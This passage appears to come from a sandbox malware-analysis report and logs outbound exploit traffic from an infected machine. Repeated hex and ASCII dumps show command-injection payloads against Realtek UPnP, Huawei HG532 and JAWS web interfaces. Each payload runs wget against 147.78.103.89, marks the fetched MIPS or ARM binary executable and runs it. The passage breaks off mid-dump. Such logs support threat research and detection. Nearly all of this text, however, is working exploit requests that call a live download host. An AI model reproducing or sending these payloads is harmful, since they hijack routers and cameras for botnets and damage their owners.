                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:47.671591043 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:18.902861118 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      132192.168.2.1544516156.224.15.23237215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:21.895742893 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      133192.168.2.1545062159.133.156.2505501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:25.242959976 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      134192.168.2.1549198192.138.68.375501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:27.572072029 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      135192.168.2.154256245.207.179.2952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:27.727210999 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:29.272145033 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:31.096163034 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 